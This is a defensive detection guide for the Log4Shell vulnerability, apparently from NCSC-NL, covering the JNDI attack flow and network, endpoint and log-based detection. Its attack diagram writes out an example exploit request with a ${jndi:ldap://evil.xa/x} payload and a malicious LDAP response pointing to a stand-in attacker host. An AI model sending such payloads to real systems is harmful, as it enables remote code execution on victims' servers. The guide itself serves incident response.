



Detection guideline log4j

Version 0.3 - December 21, 2021



What is log4shell?

- Log4shell is a zero-day vulnerability in log4j, a popular Java logging-framework
- This allows an attacker to run arbitrary code on a remote system: *remote code execution*
- The scope (a lot of software uses log4j) and the impact result in the CVSS score of 10.0
- Mitigation includes disabling functions in log4j, patching with 2.17 or patch software with log4j functionality
- In order to check whether your systems might be compromised, this guide is written to guide through detection methods on different systems



About this guide

This guide is written as a [high-over guide](#) for the following two scenarios:

- Your infrastructure was exposed between December 1st (first time log4j vulnerability was exploited) and date of patching
- Your infrastructure might be exploited, and you want to know how to check this

Disclaimer

- This guide is written on a best-effort basis and is updated on the date mentioned on the first slide. As attack paths, scope and impact of this vulnerability develop quickly, we advise to read this guide as a general detection overview
- This guide is made by the cyber security community. If you have comments or additions to this guide, please raise an issue on the [NCSC log4shell GitHub](#)



Reading guide

This guide is divided in the following parts:

- Flow of the attack
- Scope of the vulnerability
- General mitigation advice for
 - Network
 - Systems
 - Logging



Mapping of attack path on MITRE ATT&CK framework

Tactic	Reconnaissance (1)	Initial access (2)	Execution (3)	Impact (4)
Technique	Active scanning	Exploit Public-Facing Application	Command and Scripting Interpreter	Data Encrypted for Impact
	Gather host information			Resource Hijacking

* click on links for general detection methods



The log4j JNDI Attack and how to prevent it

An attacker inserts the JNDI lookup in a header field that is likely to be logged.

```
GET /test HTTP/1.1
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}
```



⊗ BLOCK WITH WAF

Attacker



Vulnerable Server
http://victim.xa



The string is passed to log4j for logging

```
"${jndi:ldap://evil.xa/x}"
```

⊗ PATCH LOG4J

Vulnerable log4j implementation



⊗ DISABLE LOG4J

log4j interpolates the string and queries the malicious LDAP server.

```
ldap://evil.xa/x
```



⊗ DISABLE JNDI LOOKUPS

Malicious LDAP Server
ldap://evil.xa



⊗ DISABLE REMOTE CODEBASES

```
public class Malicious implements Serializable {
    ...
    static {
        <malicious Java code>
    }
    ...
}
```

JAVA deserializes (or downloads) the malicious Java class and executes it.



```
dn:
javaClassName: Malicious
javaCodebase: http://evil.xa
javaSerializedData: <...>
```

The LDAP server responds with directory information that contains the malicious Java class

Figure 1



How does the attack work? Figure 1 (*initial access*)

- Log4j logs information entered by a person or from a system who visits the application (step 1 + 2)
- Specifically crafted strings (starting with $\${jndi:protocol}$) entered by this person or system will be executed as log4j interpretes this as a query (step 3)
- This can result in *remote code execution, information disclosure* or *denial of service*
- The payload can be entered in HTTP headers, input fields, etc
 - Examples: $\${jndi:ldap(s)}$, $\${jndi:dns}$ or $\${jndi:rmi}$
 - Requests coming from different source IPs
 - Some logged malicious source IPs can be found [here](#)
 - Please be aware that blocking these IPs can result in blocking of legit services, so use this list to cross-check your own logged source IPs



Scope of the vulnerability

Detection of possible abuse/compromise of systems by using the log4j vulnerability, known as

- CVE-2021-44228 (initial CVE with *remote code execution*)
- CVE-2021-4104
- CVE-2021-45046
 - Software vulnerable to this CVEs are listed on GitHub
 - Currently >3000 products listed: [list of vulnerable software](#)
 - List in CSV and JSON format released every day



General advice

- First attempts were seen on December 1, 2021, so look back to December 1, 2021
- Start hunting for exploitation within your network (step 3 in Figure 1)
- Try to automate as much as possible and run your playbooks regularly
- Short term detection capabilities. Long term is not within scope, like adding honeypots in your network
- See for yourself what is feasible to do
- This guide could be outdated (please check the publishing date on first slide). The most recent guide is published on the NCSC website (Dutch) or Apache website (English)



What could attackers abuse to exploit the vulnerability?

'Everything with an input field', like:

- Search bar
- URL path
- HTTP headers like User-Agent, Authorization, Referer



Where could you detect possible abuse of the vulnerability?

1. Network
 - NetFlow
2. Systems
 - Endpoint Detection & Response
3. Logging
 - IDS logging
 - Access & error logs
 - Stack traces
- Forensic Images
- Honeypot
- Firewall Logging
- Host integrity checker



1. Network

- Look for outgoing network or web connections from your servers to the internet
- Outgoing network connections may go to non-standard ports or over standard HTTP and HTTP/S ports
- Look for suspicious *curl* or *wget* user-agents to external IP addresses
- By search the DNS logging for queries to suspicious or known malicious sites
- IP addresses that are used for scanning are often also used for an outbound connection
- Many DNS requests from 1 server. Deviating from normal behavior. The exact same domain.
- System with itself baselining with a period in the past. Create also a baseline for the present. Make a delta between the past and present. Look for different ports or DNS requests to strange addresses. Narrow down the list of systems running which are known to be running log4j



1. Network

- Snort/Suricata rules
- Use a good list of bad IP addresses. Use the list shared by the NCSC through MISP.
- Look at the JNDI payloads, regex the IP addresses and domain names from there, then look at outgoing connections to the IP addresses. IP addresses can be encoded in different ways. Octal, Hexadecimal etc...
- Consider that the payload can be base64 encoded and all kind of obfuscation techniques are used
- Monitor LDAP protocol. Non-standard ports are used for LDAP. Outbound LDAP is not normal. Same goes for several other protocols. Assume nonstandard ports for protocols
- Check the firewall for inbound connection e.g., LDAP, RMI etc....
- Check for ICMP traffic (Time Exceeded) traffic. Match the source IP addresses with the MISP list




2. Systems

- Suspicious execution of common command line tools used to download files, such as: curl, wget, or powershell
 - > Check out one of the [IOC lists](#) of files downloaded after compromise
 - > This list includes cryptominers, Mirai botnets, etc
- The creation of suspicious or unexpected programs or services on an endpoint
- An increase in CPU and memory usage on a server, because many attackers place cryptominers on exploited systems
- Security software for endpoints/server that generates alerts about tool usage or activity after the compromise
- After compromise, remove your endpoint from the network, create a forensic image, reinstall the endpoint and, examine the forensic image. Cleaning your system is not feasible.

3. Logging

Detection Guidance: log4j CVE-2021-44228




- 1 Identify who is scanning the environment for vulnerable machines.
- 2 Identify if a vulnerable application has attempted to retrieve the malicious code for potential execution
- 3 Download of the malicious code and execution of the malicious code on the vulnerable machine.

Credits to GovCERT.ch for the description of the log4j JNDI attack



3. Logging

Detection Guidance: log4j CVE-2021-44228




1 Identify who is scanning the environment for vulnerable machines.		
Detection	Logs	Conclusion on a hit
<ul style="list-style-type: none"> Scan inbound requests in the proxy/firewall/load balancer logs. Investigate the application logs to determine web requests which contain indicators of scanning attempts. Identify the source and protocol used by the attack. 	<ul style="list-style-type: none"> Web proxy (inbound) Firewall (inbound) Web application firewall (inbound) Load balancer (inbound) IDS/IPS (across the network) Application logs (java) (inbound) IP addresses of attackers which are known to actively exploit the vulnerability (enrichment) 	<p>Somebody has scanned your asset to identify if it is vulnerable.</p>



3. Logging

Detection Guidance: log4j CVE-2021-44228



*: other protocols may be used to retrieve malicious java class (ldap/ldaps/rmi/dns/corba/iiop/nis)


2 Identify if a vulnerable application has attempted to retrieve the malicious code for potential execution		
Detection	Logs	Conclusion on a hit
<ul style="list-style-type: none"> Identify whether the outbound request has been blocked or allowed. Identify the source IP of the attack and determine if the IP is known to present a malicious payload to execute code or if the IP has been used to scan for vulnerabilities to obtain risk context. 	<ul style="list-style-type: none"> Web proxy (outbound) Firewall (outbound) Load balancer (outbound) IDS/IPS (across the network) IP addresses of attackers which are known to actively exploit the vulnerability (enrichment) 	<p>The targeted application is vulnerable and has contacted the remote server to download a payload. You still need to verify whether this was a scan from a benign actor or an actual attack, by verifying whether a malicious payload was retrieved to the application's host</p>

Credits to GovCERT.ch for the description of the log4j JNDI attack



3. Logging

Detection Guidance: log4j CVE-2021-44228



3 The response on the protocol used contains the malicious payload

```

dn:
javaClassName: Malicious
javaCodeBase: http://evil.xa
javaSerializedData: <...>
  
```

3

Download of the malicious code and execution of the malicious code on the vulnerable machine.

Detection	Logs	Conclusion on a hit
<ul style="list-style-type: none"> Identify if the malicious payload has passed any network device (proxy, firewall, load balancer, IDS/IPS). Investigate the local machine if the server process has initiated any new child processes which show signs of malicious intent. Generic signs of command-and-control or beaconing traffic 	<ul style="list-style-type: none"> Web proxy (inbound) Firewall (inbound) Load balancer (inbound) IDS/IPS (across the network) Application logs (java) (inbound) Machine logs (Sysmon/security logs) <ul style="list-style-type: none"> Process monitoring 	<p>The targeted application has downloaded the malicious payload. Execution of the payload can be identified through host-based process monitoring and forensic analysis.</p>

Credits to GovCERT.ch for the description of the log4j JNDI attack



Read more

- [NCSC log4shell GitHub](#)
- [Apache log4j vulnerability guide](#)

Mitigation and detection guide: https://github.com/NCSC-NL/log4shell/tree/main/detection_mitigation

This page contains an overview of any detection and mitigation software regarding the Log4j vulnerability. On this page NCSC-NL will maintain a list of all known rules to detect Log4j presence or (suspected) exploitation.



Contributions to this guide

A big thank you to the following people or organisations for contributing to this guide:

- Karl Lovink, Belastingdienst
- Gerrit Kortlever, Deloitte